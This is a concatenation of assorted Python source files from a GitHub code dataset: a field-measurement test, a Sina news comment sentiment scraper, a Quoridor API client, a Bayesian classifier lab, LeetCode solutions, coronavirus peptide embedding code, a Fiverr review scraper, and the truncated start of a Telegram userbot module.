fieldkit.Mesh().from_lattice(N=32, lattice=fieldkit.HOOMDLattice(L=4.))\n field = fieldkit.Field(mesh).from_array(np.zeros(mesh.shape))\n\n # make a sphere\n R = 1.\n for n in np.ndindex(mesh.shape):\n pt = mesh[n]\n rsq = np.sum((pt-mesh.lattice.L/2)**2)\n if rsq <= R**2:\n field[n] = 1.\n\n # use a loose tolerance due to inaccuracies of meshing and interpolating densities\n volume = fieldkit.measure.volume(field, threshold=0.5, N=5e5, seed=42)\n self.assertAlmostEqual(volume, 4*np.pi*R**3/3, delta=0.1)\n\n # the surface should have a measured area greater than that of sphere\n surface = fieldkit.measure.triangulate(field, threshold=0.5)\n area = fieldkit.measure.surface_area(surface)\n self.assertTrue(area >= 4*np.pi*R**2)\n self.assertAlmostEqual(area, 4*np.pi*R**2, delta=1.)\n","repo_name":"mphoward/fieldkit","sub_path":"fieldkit/test/test_measure.py","file_name":"test_measure.py","file_ext":"py","file_size_in_byte":4406,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"36755722810","text":"# -*-coding: utf-8 -*-\n\"\"\"\nauthor: Tongxin Wong\ncreate time: 2020-07-23\nupdate time: 2020-07-23\n\"\"\"\nimport requests\nimport json\nimport time\nimport re\nimport paddlehub as hub\n\n# 返回热点话题使用新浪(comment5评论页面的新闻列表数据channel=sh)的数据\n# 新闻评论情感分析使用新浪评论数前20的社会新闻,获取新闻id后再请求评论数据进行分析\n# 根据分析速度决定是否使用数据库保存已分析好的新闻数据\n\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36'\n}\n\n# 返回热点话题\ndef get_hot_topic():\n # 新浪社会新闻url\n sina_news_url = 'http://comment5.news.sina.com.cn/hotnews/info?format=json&channel=sh&hotid=sh_day'\n sina_response = requests.get(sina_news_url, headers=headers)\n sina_response.encoding = 'GBK'\n json_res = json.loads(sina_response.text)\n hot_topic = []\n # 取出每个新闻数据的hot_count,title和time\n for news in json_res['result']['hotnews']:\n news_info = {}\n news_info['hot_count'] = news['hot_count']\n news_info['title'] = news['title']\n news_info['time'] = news['time']\n hot_topic.append(news_info)\n \n data = {\n 'hot_topic': hot_topic\n }\n return data\n\n# 返回新浪评论数前20的社会新闻,包含newsid\ndef get_top_comments_news():\n # 获取今日日期\n top_time = time.strftime('%Y%m%d', time.localtime())\n # 新浪评论前20社会新闻url\n sina_top_comments_url = 'http://top.news.sina.com.cn/ws/GetTopDataList.php?top_type=day&top_cat=shxwpl&top_time=' + top_time + '&top_show_num=20&top_order=DESC&js_var=news_'\n sina_comments_response = requests.get(sina_top_comments_url, headers = headers)\n # 取出返回内容中的json数据\n json_res = json.loads(sina_comments_response.text[12:-2])\n top_comments_news = []\n # 取出新闻的title和newsid\n for news in json_res['data']:\n news_info = {}\n news_info['title'] = news['title']\n news_info['newsid'] = news['ext5'][3:]\n top_comments_news.append(news_info) \n return top_comments_news\n\n# 对传入的新闻评论列表进行分析得出正负面分类结果\n# 返回值:正面1,中性0,负面-1\ndef comments_sentiment_classify(comments):\n # 加载senta模型 \n senta = hub.Module(name=\"senta_bilstm\")\n probs = 0.\n # 模型输入\n input_content = {}\n # 热评列表\n hot_comments_list = comments['hot_comments']\n # 普通评论列表\n com_comments_list = comments['com_comments']\n # 计算评论数量,将热评数量x2(给予热评更高的权重)\n comments_num = len(hot_comments_list) * 2 + len(com_comments_list)\n # 如果评论数量为0,返回中性结果\n if comments_num == 0:\n return 0\n # 使用senta进行情感分析\n # 只有在有数据时才进行分析\n if len(hot_comments_list) != 0:\n input_content = {'text': hot_comments_list}\n hot_results = senta.sentiment_classify(data=input_content)\n for result in hot_results:\n probs += result['positive_probs'] * 2\n \n if len(com_comments_list) != 0:\n input_content = {'text': com_comments_list}\n com_results = senta.sentiment_classify(data=input_content)\n for result in com_results:\n probs += result['positive_probs']\n \n positive_probs = round(probs / comments_num, 2)\n \n # 根据不同的值返回分类结果\n if positive_probs > 0.55:\n return 1\n elif positive_probs < 0.45:\n return -1\n else:\n return 0\n\n# 对新闻的评论情感分析感知舆情\ndef news_sentiment_classify(top_comments_news): \n # 正面新闻\n pos_news = []\n # 一般新闻(中性)\n neu_news = []\n # 负面新闻\n neg_news = []\n # 评论请求url\n base_url = 'http://comment5.news.sina.com.cn/page/info?format=json&channel=sh&newsid='\n for news in top_comments_news:\n # 根据newsid获取新闻评论\n comments = {}\n # 热评列表\n hot_comments_list = []\n # 普通评论列表\n com_comments_list = []\n newsid = news['newsid']\n comments_url = base_url + newsid\n comments_response = requests.get(comments_url, headers=headers)\n json_res = json.loads(comments_response.text)\n # 取出普通评论和最热评论列表\n hotlist = json_res['result']['hot_list']\n cmntlist = json_res['result']['cmntlist']\n \n for hot_comment in hotlist:\n # 使用正则表达式去除[可爱]等表情\n content = re.sub('\\[.*?\\]', '', hot_comment['content'])\n hot_comments_list.append(content)\n \n for com_comment in cmntlist:\n content = re.sub('\\[.*?\\]', '', com_comment['content'])\n com_comments_list.append(content)\n \n comments['hot_comments'] = hot_comments_list\n comments['com_comments'] = com_comments_list\n # 对新闻评论进行情感分析\n classify_res = comments_sentiment_classify(comments)\n del news['newsid']\n news['comments'] = comments\n \n if classify_res == 1:\n pos_news.append(news)\n elif classify_res == 0:\n neu_news.append(news)\n elif classify_res == -1:\n neg_news.append(news)\n data = {\n 'pos_news': pos_news,\n 'neu_news': neu_news,\n 'neg_news': neg_news\n }\n return data","repo_name":"danmowusheng/training-flask-servers","sub_path":"hot-news/opinion_perception.py","file_name":"opinion_perception.py","file_ext":"py","file_size_in_byte":5552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"} +{"seq_id":"32860495211","text":"# -*- coding: utf-8 -*-\nimport requests\n\nURL = \"https://python.gel.ulaval.ca/quoridor/api/\"\n\n\ndef lister_parties(idul):\n\n rep = requests.get(f'{URL}parties/' , params={'idul': f'{idul}'})\n #cas ou la requete se deroule normalement\n if rep.status_code == 200:\n rep = rep.json()\n return rep['parties']\n\n # Soulever Runtime_error et afficher le message contenue dans la cle \"message\" du dico\n if rep.status_code == 406:\n rep = rep.json()\n mess = rep['message']\n raise RuntimeError(f'{mess}')\n\ndef initialiser_partie(idul):\n rep = requests.post(f'{URL}partie/', data={'idul': f'{idul}'})\n if rep.status_code == 200:\n #retourne tupple avec id de la partie et etat initial de la nouvelle partie\n rep = rep.json()\n return (rep['id'], rep['état'])\n # Si erreur 406, le JSON va contenir un message d'erreur\n # Soulever Runtime_error et afficher ce message\n if rep.status_code == 406:\n rep = rep.json()\n mess = rep['message']\n raise RuntimeError(f'{mess}')\n\ndef jouer_coup(id_partie, type_coup, position):\n\n rep = requests.put(f'{URL}jouer/', data={'id': id_partie, 'type': type_coup, 'pos':position})\n if rep.status_code == 200:\n rep = rep.json()\n #La partie se termine et on affiche le nom du gagnant\n winner = rep['gagnant']\n if winner is not None:\n raise StopIteration(f'{winner}')\n #retourne un tupple avec id et etat de la partie\n return (rep['id'], rep['état'])\n\n if rep.status_code == 406:\n rep = rep.json()\n mess = rep['message']\n raise RuntimeError(f'{mess}')\n","repo_name":"anblo74/quoridor-projet-3-antho-loic","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"73709799527","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport pandas as pd\nimport csv\nimport math\n\n\n\n\nclass classes(object):\n \"\"\"docstring for ClassName\"\"\"\n def __init__(self,data,mu,sigma,cov,label):\n self.data = data\n self.mu = mu\n self.sigma=sigma\n self.cov =cov\n self.label= label\ndef read_data():\n data = []\n # TODO: Read the file 'data1.csv' into the variable data.\n # data contains the training data together with labelled classes.\n data= pd.read_csv('data1.csv',header=None)\n return data\n\n\ndef read_test_data():\n test_data = []\n test_data_true = []\n # TODO: Read the file 'test_data.csv' and 'test_data_true.csv' into the variables test_data and test_data_true.\n # test_data contains the unlabelled test class.\n # test_data_true contains the actual classes of the test instances, which you will compare\n # against your predicted classes.\n test_data = pd.read_csv('test_data.csv',header=None)\n test_data = np.array(test_data)\n test_data_true = pd.read_csv('test_data_true.csv',header=None)\n test_data_true=np.array(test_data_true)\n return test_data, test_data_true\n\n\ndef multivariate_normal_gaussian(x, mu, sigma,cov):\n prob = 0\n firstPart= 1/(math.sqrt(2*math.pi)) \n needed = x-mu\n secondPart =1/np.linalg.det(cov)\n firstPart = math.pow(firstPart,int(x.shape[0])) #1goz2\n secondPart = math.sqrt(abs(secondPart)) #2goz2\n thirdPart = np.matmul(np.transpose(needed),np.linalg.inv(cov))\n thirdPart = np.matmul(thirdPart, needed)\n thirdPart = -1/2 * thirdPart\n thirdPart = np.exp(thirdPart)\n prob = (1/(firstPart * secondPart)) * thirdPart\n # TODO: Implement the multivariate normal gaussian distribution with parameters mu and sigma.\n return prob\n\n\ntraining_data = read_data()\ntest_data, test_data_true = read_test_data()\nz=np.array(training_data) \nnumClasses = np.unique(z[:,0])\nprint(numClasses.shape[0])\n\n# TODO: Estimate the parameters of the Gaussian distributions of the given classes.\nC=[]\nfor i in numClasses:\n class1_data = z[z[:,0]==i]\n class1_mu = np.mean(class1_data[:,1:],axis=0)\n class1_sigma = np.sqrt(np.var(class1_data[:,1:],axis=0))\n class1_cov = np.cov(class1_data[:,1],class1_data[:,2])\n C.append(classes(class1_data,class1_mu,class1_sigma,class1_cov,i))\nprint(C)\ncolors = ['r', 'g', 'b', 'c', 'y']\n# TODO: Do a scatter plot for the data, where each class is coloured by the colour corresponding\n# TODO: to its index in the colors array.\n# Class 1 should be coloured in red, Class 2 should be coloured in green and Class 3 should be coloured in blue.\nindex=0\nfor i in C:\n plt.scatter(i.data[:,1],i.data[:,2],c=colors[index])\n index= index+1\nplt.show() \n \n# TODO: Apply the Bayesian Classifier to predict the classes of the test points.\npredicted_classes = np.zeros((test_data_true.shape[0],test_data_true.shape[1]))\nindex=0\nfor test in test_data:\n probArray=dict()\n for c in C:\n probArray[c.label]=multivariate_normal_gaussian(test,c.mu,c.sigma,c.cov)\n predicted_classes[index]=(max(probArray,key=probArray.get)) \n index=index+1\n# TODO: Compute the accuracy of the generated Bayesian classifier.\n \nprint(np.array(predicted_classes).shape)\nprint(test_data_true.shape)\nS= sum(test_data_true==predicted_classes)\naccuracy = S/test_data_true.shape[0]\nprint('Accuracy = ' + str(accuracy*100) + '%')\n\n\n# TODO: Generate a 3D-plot for the generated distributions. x-axis and y-axis represent the features of the data, where\n# TODO: z-axis represent the Gaussian probability at this point.\nx = np.linspace(-10, 10, 300)\ny = np.linspace(-10, 15, 300)\nX, Y = np.meshgrid(x, y)\nZ = np.zeros(X.shape)\n\nclasses = 2\n# TODO: Change this according to the number of classes in the problem.\nfor i in range(Z.shape[0]):\n for j in range(Z.shape[1]):\n for c in C:\n Z[i, j] =Z[i, j]+ multivariate_normal_gaussian(np.array([x[i],y[j]]),c.mu,c.sigma,c.cov)\n \n # TODO: Fill in the matrix Z which will represent the probability distribution of every point.\n\n# Make a 3D plot\nfig = plt.figure()\nax = fig.gca(projection='3d')\nax.plot_surface(X, Y, Z, cmap='viridis', linewidth=0)\nax.set_xlabel('X axis')\nax.set_ylabel('Y axis')\nax.set_zlabel('Z axis')\nplt.show()\n","repo_name":"aosman96/machine-learning-and-pattern","sub_path":"bayes_classificatiom/lab3-1.py","file_name":"lab3-1.py","file_ext":"py","file_size_in_byte":4308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"26897066598","text":"from typing import List\nimport collections\n\ndef findItinerary(tickets: List[List[str]]) -> List[str]:\n adj = {u: collections.deque() for u, v in tickets}\n res = [\"JFK\"]\n\n tickets.sort()\n for u, v in tickets:\n adj[u].append(v)\n\n def dfs(cur):\n if len(res) == len(tickets) + 1:\n return True\n if cur not in adj:\n return False\n\n temp = list(adj[cur])\n for v in temp:\n adj[cur].popleft()\n res.append(v)\n if dfs(v):\n return res\n res.pop()\n adj[cur].append(v)\n return False\n\n dfs(\"JFK\")\n return res\n\ntickets = [[\"MUC\",\"LHR\"],[\"JFK\",\"MUC\"],[\"SFO\",\"SJC\"],[\"LHR\",\"SFO\"]]\nprint(findItinerary(tickets))\n\ntickets = [[\"JFK\",\"SFO\"],[\"JFK\",\"ATL\"],[\"SFO\",\"ATL\"],[\"ATL\",\"JFK\"],[\"ATL\",\"SFO\"]]\nprint(findItinerary(tickets))\n\n\"\"\"\nこのコードは、与えられた飛行機のチケットから、すべてのチケットを使ってJFKから開始する行程を再構築する問題のためのものです。この再構築された行程は辞書順で最も小さいものでなければなりません。\n\n**大まかな説明**:\nコードはまず隣接リスト`adj`を作成し、各出発地からの目的地のリストを持ちます。次に、深さ優先探索 (DFS) を使用して、JFKからの行程を再構築します。\n\n**部分毎の説明**:\n\n1. `adj = {u: collections.deque() for u, v in tickets}`:\n - すべての出発空港をキーとして持つ隣接リストを作成します。\n\n2. `res = [\"JFK\"]`:\n - 行程を格納するリスト。最初の空港は常にJFKです。\n\n3. `tickets.sort()`:\n - チケットを辞書順でソートします。これにより、行程が辞書順で最小となるように再構築できます。\n\n4. `for u, v in tickets:`:\n - 各チケットの情報に対してループを回します。\n\n5. `adj[u].append(v)`:\n - 出発地`u`の隣接リストに目的地`v`を追加します。\n\n6. `def dfs(cur):`:\n - 深さ優先探索の関数定義です。この関数は、与えられた出発地`cur`から再構築できる行程を探します。\n\n7. `if len(res) == len(tickets) + 1:`:\n - すべてのチケットが使われ、行程が完成した場合、True���返します。\n\n8. `if cur not in adj:`:\n - 現在の空港が出発地として存在しない場合、Falseを返します。\n\n9. `for v in temp:`:\n - 現在の空港`cur`からのすべての可能な目的地`v`に対してループを回します。\n\n10. `adj[cur].popleft()`:\n - 現在の出発地からの最初の目的地を取り除きます。\n\n11. `res.append(v)`:\n - 行程に目的地を追加します。\n\n12. `if dfs(v):`:\n - その目的地からの行程が完了した場合、現在の行程を返します。\n\n13. `res.pop()`:\n - 行程から最後の空港を取り除きます。\n\n14. `adj[cur].append(v)`:\n - 前に取り除いた目的地を再び隣接リストに追加します。\n\n15. `dfs(\"JFK\")`:\n - JFKからの行程の再構築を開始します。\n\n16. `return res`:\n - 再構築された行程を返します。\n\"\"\"","repo_name":"majikojima/neetcode","sub_path":"12_AdvancedGraphs/04_ReconstructItinerary.py","file_name":"04_ReconstructItinerary.py","file_ext":"py","file_size_in_byte":3176,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"404394399","text":"import csv\nimport time\nfrom datetime import datetime\nfrom math import ceil\n\nfrom selenium.webdriver.common.by import By\n\n\ndef login(driver, username, password):\n # Sign in button\n btns = driver.find_elements(By.CSS_SELECTOR, \"a.js-open-popup-login.nav-link\")\n\n if not len(btns):\n print(\"Sign In button not found\")\n return None\n\n btns[0].click()\n time.sleep(2)\n\n # input fields\n input_fields = driver.find_elements(By.CLASS_NAME, \"WvIqLXU\")\n email_field = input_fields[0]\n password_field = input_fields[1]\n\n email_field.click()\n email_fields = email_field.find_elements(By.CSS_SELECTOR, \"input.field-input\")\n email_fields[0].send_keys(username)\n\n time.sleep(2)\n\n password_field.click()\n password_fields = password_field.find_elements(By.CSS_SELECTOR, \"input.field-input\")\n password_fields[0].send_keys(password)\n\n time.sleep(2)\n\n continue_btn_instances = driver.find_elements(By.CSS_SELECTOR, \"button.FW1syM7.L1yjt43.co-white.Kk1804g.OCrkteb\")\n\n if not len(continue_btn_instances):\n print(\"Continue button not found\")\n return None\n\n continue_btn_instances[0].click()\n time.sleep(2)\n\n return \"SUCCESS\"\n\n\ndef click_on_see_more_btn(driver, total_clicks):\n wait_time = 3\n total_wait_time = total_clicks * wait_time\n print(\"Estimated wait time: \", total_wait_time, \" Seconds\")\n see_more_btns = driver.find_elements(By.CLASS_NAME, \"see-more-button\")\n\n if not len(see_more_btns):\n print(\"See More buttons not found\")\n return None\n try:\n for click_number in range(total_clicks):\n total_wait_time -= wait_time\n print(\"Click Number: \", click_number, \" Time left: \", total_wait_time, \" Seconds\")\n see_more_btns[0].click()\n driver.implicitly_wait(10)\n time.sleep(wait_time)\n\n except Exception as ex:\n print(\"ERROR - click_on_see_more_btn: \", ex)\n return None\n\n return \"SUCCESS\"\n\n\ndef export_gig_reviews_data_to_csv(driver, csv_filename):\n headers = ['Username', 'Country', 'Time']\n total_reviews = driver.find_elements(By.CLASS_NAME, \"review-item-component-wrapper\")\n\n if not len(total_reviews):\n print(\"No reviews to export\")\n return None\n\n print(\"Total reviews data to export: \", len(total_reviews))\n with open(f'{csv_filename}.csv', 'w', newline='') as csvfile:\n csvwriter = csv.writer(csvfile)\n csvwriter.writerow(headers)\n\n i = 1\n for review in total_reviews:\n try:\n print(\"Review number: \", i)\n i += 1\n\n review_data = review.text.splitlines()\n if not len(review_data):\n continue\n username = review_data[0]\n if len(username) == 1:\n data = [review_data[1], review_data[2], review_data[4]]\n else:\n data = [review_data[0], review_data[1], review_data[3]]\n csvwriter.writerow(data)\n\n except Exception as ex:\n print(\"ERROR - export_gig_reviews_data_to_csv: \", ex)\n\n return \"SUCCESS\"\n\n\ndef scrap_gig_reviews_data(driver, gig_url):\n driver.get(gig_url)\n\n print(\"PLEASE CLOSE POP UPS IF ANY, YOU HAVE 10 SECONDS\")\n time_range = [i for i in range(0, 11)][::-1]\n\n for item in time_range:\n print(\"TIME LEFT: \", item)\n time.sleep(1)\n\n print(\"TIME OVER, PROCEEDING\")\n\n # Find total reviews\n total_reviews_instance = driver.find_elements(By.CSS_SELECTOR, \"span.rating-count-number\")\n\n if not len(total_reviews_instance):\n print(\"Total reviews not found\")\n return None\n\n total_reviews = int(total_reviews_instance[0].text.splitlines()[0].replace(',', ''))\n\n # Calculate total number of clicks\n total_clicks = ceil(total_reviews/5)\n\n print(\"Total clicks: \", total_clicks)\n\n is_success = click_on_see_more_btn(driver, total_clicks)\n\n if not is_success:\n print(\"All review buttons was not clicked\")\n\n # Export reviews\n csv_filename = f\"{datetime.now()}\".replace(\" \", \"\").replace(\".\", \"\").replace(\":\", \"\")\n print(csv_filename)\n\n is_success = export_gig_reviews_data_to_csv(driver, csv_filename)\n\n if not is_success:\n print(\"All data is not scrapped\")\n\n return \"SUCCESS\"\n","repo_name":"SahilDefault/undetected-chromedriver","sub_path":"fiverr_script/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":4327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"12454714838","text":"#\n# @lc app=leetcode id=24 lang=python3\n#\n# [24] Swap Nodes in Pairs\n#\n\n# @lc code=start\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def swapPairs(self, head: Optional[ListNode]) -> Optional[ListNode]:\n dummy_head = ListNode(None, head)\n pre = dummy_head\n\n while pre.next and pre.next.next:\n l, r = pre.next, pre.next.next\n next = r.next\n\n pre.next = r\n r.next = l\n l.next = next\n\n pre = l\n return dummy_head.next\n \n def swapPairs1(self, head: Optional[ListNode]) -> Optional[ListNode]:\n if head is None or head.next is None:\n return head\n dummy_head = ListNode(None, head)\n pre = dummy_head\n l = head\n r = head.next\n cur = head.next\n while cur:\n next = cur.next\n if l and r is None:\n r = cur\n r.next = None\n elif l is None and r is None:\n l = cur\n l.next = None\n if r:\n pre.next = r\n r.next = l\n l.next = None\n pre = l\n l, r = None, None\n cur = next\n if l and r:\n pre.next = r\n r.next = l\n l.next = None\n elif l and r is None:\n pre.next = l\n l.next = None\n return dummy_head.next\n# @lc code=end\n\n","repo_name":"Tian-hy/c_leetcode","sub_path":"LeetCode 24 Swap Nodes in Pairs/24.swap-nodes-in-pairs.py","file_name":"24.swap-nodes-in-pairs.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"32488990172","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nfrom google.colab import drive\ndrive.mount('/content/drive')\n\n\n# In[ ]:\n\n\nget_ipython().system('pip3 install torch==1.2.0+cu92 torchvision==0.4.0+cu92 -f https://download.pytorch.org/whl/torch_stable.html')\n\n\n# In[ ]:\n\n\nimport os\nos.chdir('/content/drive/My Drive/Peptide MHC Project')\n\n\n# In[ ]:\n\n\nimport torch\nimport pandas as pd\nfrom peptide_embedding import * \nfrom MHC_sequence_embedding import *\nimport random\nprint(torch.__version__)\n\n\n# In[ ]:\n\n\n# Load coronavirus peptides\ncorona_df = pd.read_csv('coronavirus/all_corona_peptides.txt', header=None)\ncorona_df.columns = ['peptide']\ncorona_encoding = peptide_encoding(corona_df.squeeze())\n# print(corona_df.squeeze().iloc[:2])\n# print(corona_encoding[:2])\n\n\n# In[ ]:\n\n\n# Generates embeddings of coronavirus peptides\ncorona_embedding_list = []\npretrained_model = torch.load('ssa_L1_100d_lstm3x512_lm_i512_mb64_tau0.5_lambda0.1_p0.05_epoch100.sav')\n\n# TO DO: remove for loop loop bc there are so few peptides\nfor i in range(0,len(corona_encoding),1000):\n corona_embeddings = peptide_embedding(corona_encoding[i:i+1000], 15, pretrained_model)\n corona_embeddings = torch.stack(corona_embeddings)\n corona_embedding_list.append(corona_embeddings)\n print(i)\n\npeptide_tensor = torch.cat(corona_embedding_list, dim=0)\npath = '/content/drive/My Drive/Peptide MHC Project/coronavirus/all_corona_embeddings.pt'\ntorch.save(peptide_tensor, path)\n\n\n# In[ ]:\n\n\n# Gets distribution of peptide lengths\npeptides = corona_df['peptide'].to_list()\nlens = [len(i) for i in peptides]\nunique_lens = []\nfor length in lens:\n if length not in unique_lens:\n unique_lens.append(length)\n\ncounts = {}\nfracs = {}\nfor length in sorted(unique_lens):\n counts[length] = lens.count(length)\n fracs[length] = round(lens.count(length) / len(peptides), 3)\nprint(counts)\nprint(fracs)\n\n\n# In[ ]:\n\n\n# Randomly choose a subset of peptides\nlens = list(range(8, 16))\npeps_by_len = [[] for _ in range(8)]\nfor pep in peptides:\n for length in lens:\n if len(pep) == length:\n peps_by_len[length-8].append(pep)\n\n# More 8-10mers than 11-15mers\nselect = {8: 100, 9: 250, 10: 150, 11: 25, 12: 25, 13: 25, 14: 25, 15: 25}\npeps_subset = []\nfor i in range(8):\n subset = random.choices(peps_by_len[i], k=select[i+8])\n peps_subset.extend(subset)\n\nprint(len(peps_subset))\n\n\n# In[ ]:\n\n\n# Saves \nwith open(\"coronavirus/subset_corona_peptides.txt\", \"w\") as f:\n for pep in peps_subset:\n f.write(pep + '\\n')\n\n# Convert back to pandas\ncorona_subset = pd.Series(peps_subset)\n\n# Encodes each peptide\ncorona_subset_encoding = peptide_encoding(corona_subset)\n\n# Embeds each peptide encoding as a (MaxLen * EmbeddingDim) tensor\npeptide_embedding_list = peptide_embedding(corona_subset_encoding, 15, pretrained_model)\npeptide_embeddings = torch.stack(peptide_embedding_list)\n\n# Save\npath = '/content/drive/My Drive/Peptide MHC Project/coronavirus/subset_corona_embeddings.pt'\ntorch.save(peptide_embeddings, path)\n\n\n# In[ ]:\n\n\n# Embed some MHC alleles\n# Dataset of peptide sequence, MHC allele name, binary binding affinity (positive, negative)\nlink1 = 'https://raw.githubusercontent.com/cmb-chula/MHCSeqNet/master/cleaned_MHC_all_classes.csv'\nx = pd.read_csv(link1)\n\n# Dataset of corresponding amino acid sequence for MHC alleles (Beta sheet, alpha helix res 140-179, alpha helix res 50-84)\nlink2 = 'https://raw.githubusercontent.com/cmb-chula/MHCSeqNet/master/PretrainedModels/sequence_model/AlleleInformation.txt'\nallele_seq = urllib.request.urlopen(link2)\nMHC_sequence_df = MHC_seq_df(allele_seq)\n\n# Finds alleles in training set with known amino acids\nalleles = x['allele']\ngood_idx = alleles.isin(MHC_sequence_df['MHC_allele'])\nclassI_alleles = alleles[good_idx] \n\n\n# In[ ]:\n\n\n# Orders alleles whose amino acid sequences are known by frequency\nmost_common = classI_alleles.value_counts().index.tolist()\n\n# Chooses 10 most common alleles from each HLA class\nHLA_As = []\nHLA_Bs = []\nHLA_Cs = []\nfor allele in most_common:\n if 'HLA-A' in allele and len(HLA_As) < 10:\n HLA_As.append(allele)\n elif 'HLA-B' in allele and len(HLA_Bs) < 10:\n HLA_Bs.append(allele)\n elif 'HLA-C' in allele and len(HLA_Cs) < 10:\n HLA_Cs.append(allele)\n\nchosen_alleles = HLA_As + HLA_Bs + HLA_Cs\nprint(len(chosen_alleles))\n\n\n# In[ ]:\n\n\n# Gets the alleles' amino acid sequences\naa_seqs = MHC_sequence_df.loc[MHC_sequence_df['MHC_allele'].isin(chosen_alleles)]\naa_50_84 = aa_seqs['Alpha_helix_res_50-84']\naa_140_179 = aa_seqs['Alpha_helix_res_140-179']\n# Saves\naa_seqs.to_csv(\"allele_sequences/30_mhc_alleles.csv\")\n\n# Encodes the amino acid sequences for each MHC allele\nalpha_res_50_84_encoding = peptide_encoding(aa_50_84)\nalpha_res_140_179_encoding = peptide_encoding(aa_140_179)\n\n# Embeds each encoding as a (MaxLen * EmbeddingDim) tensor, then stacks all\nembedding_list_50_84 = peptide_embedding(alpha_res_50_84_encoding, 53, pretrained_model)\nembeddings_50_84 = torch.stack(embedding_list_50_84)\n\nembedding_list_140_179 = peptide_embedding(alpha_res_140_179_encoding, 53, pretrained_model)\nembeddings_140_179 = torch.stack(embedding_list_140_179)\n\n# Save\npath1 = '/content/drive/My Drive/Peptide MHC Project/embeddings/common_50_84_embeddings.pt'\ntorch.save(embeddings_50_84, path1)\npath2 = '/content/drive/My Drive/Peptide MHC Project/embeddings/common_140_179_embeddings.pt'\ntorch.save(embeddings_140_179, path2)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"jeremy-99/Binding-Affinity-of-SARS-CoV-2","sub_path":"embed_coronavirus_peptides.py","file_name":"embed_coronavirus_peptides.py","file_ext":"py","file_size_in_byte":5388,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"5445505469","text":"import os\n\nimport cli\nfrom app import blueprint\nfrom app.main import create_app, db\n\napp = create_app(os.getenv('BOILERPLATE_ENV') or 'dev')\n\napp.register_blueprint(blueprint)\napp.app_context().push()\ncli.register(app)\n\n\n@app.shell_context_processor\ndef make_shell_context():\n return {\n 'db': db\n }\n\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"GruppoProgettoTMM201920-Parthenopeddit/RESTPlusAPI","sub_path":"parthenopeddit.py","file_name":"parthenopeddit.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"27490284229","text":"'''\n\nRemove all elements from a linked list of integers that have value val.\n\nExample:\n\nInput: 1->2->6->3->4->5->6, val = 6\nOutput: 1->2->3->4->5\n\n\n'''\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def removeElements(self, head: ListNode, val: int) -> ListNode:\n\n # Approach one\n last = ListNode(0)\n last.next = first = head\n while first:\n if first.val == val:\n last.next = last.next.next\n if first == head: head = head.next # 删除头结点特殊处理\n else:\n last = first\n first = first.next\n return head\n","repo_name":"OnlyChristmas/leetcode","sub_path":"Python/remove-linked-list-elements.py","file_name":"remove-linked-list-elements.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"53"} +{"seq_id":"11409448086","text":"# coding=utf-8\nimport requests\nfrom urllib.parse import urljoin\n\n\n__author__ = 'mlaptev'\n\nbase_url = \"https://stepic.org/media/attachments/course67/3.6.3/\"\n\n\ndef get_content_of_latest_file(file_url):\n \"\"\"\n We are the champions, my friends,\n And we'll keep on fighting 'til the end.\n We are the champions.\n We are the champions.\n No time for losers\n 'Cause we are the champions of the world.\n \"\"\"\n r = requests.get(urljoin(base_url, file_url))\n index = 1\n while not r.text.startswith(\"We\"):\n index += 1\n r = requests.get(urljoin(base_url, r.text))\n print(r.text)\n\nif __name__ == \"__main__\":\n with open(\"dataset_3378_3.txt\") as file_with_url:\n get_content_of_latest_file(file_with_url.read().strip())\n","repo_name":"MikeLaptev/sandbox_python","sub_path":"stepic/python_basic/module3/Module3Lesson6Step3.py","file_name":"Module3Lesson6Step3.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"4900802031","text":"\nimport asyncio\nimport io\nimport json\nimport logging\nimport time\n\nfrom telethon.tl.types import Message\nfrom telethon.tl import functions\nfrom telethon.tl.tlobject import TLRequest\n\nfrom .. import loader, utils\nfrom ..inline.types import InlineCall\n\nlogger = logging.getLogger(__name__)\n\nGROUPS = [\n \"auth\",\n \"account\",\n \"users\",\n \"contacts\",\n \"messages\",\n \"updates\",\n \"photos\",\n \"upload\",\n \"help\",\n \"channels\",\n \"bots\",\n \"payments\",\n \"stickers\",\n \"phone\",\n \"langpack\",\n \"folders\",\n \"stats\",\n]\n\n\ndef decapitalize(string: str) -> str:\n return string[0].lower() + string[1:]\n\n\nCONSTRUCTORS = {\n decapitalize(\n method.__class__.__name__.rsplit(\"Request\", 1)[0]\n ): method.CONSTRUCTOR_ID\n for method in utils.array_sum(\n [\n [\n method\n for method in dir(getattr(functions, group))\n if isinstance(method, TLRequest)\n ]\n for group in GROUPS\n ]\n )\n}\n\n\n@loader.tds\nclass 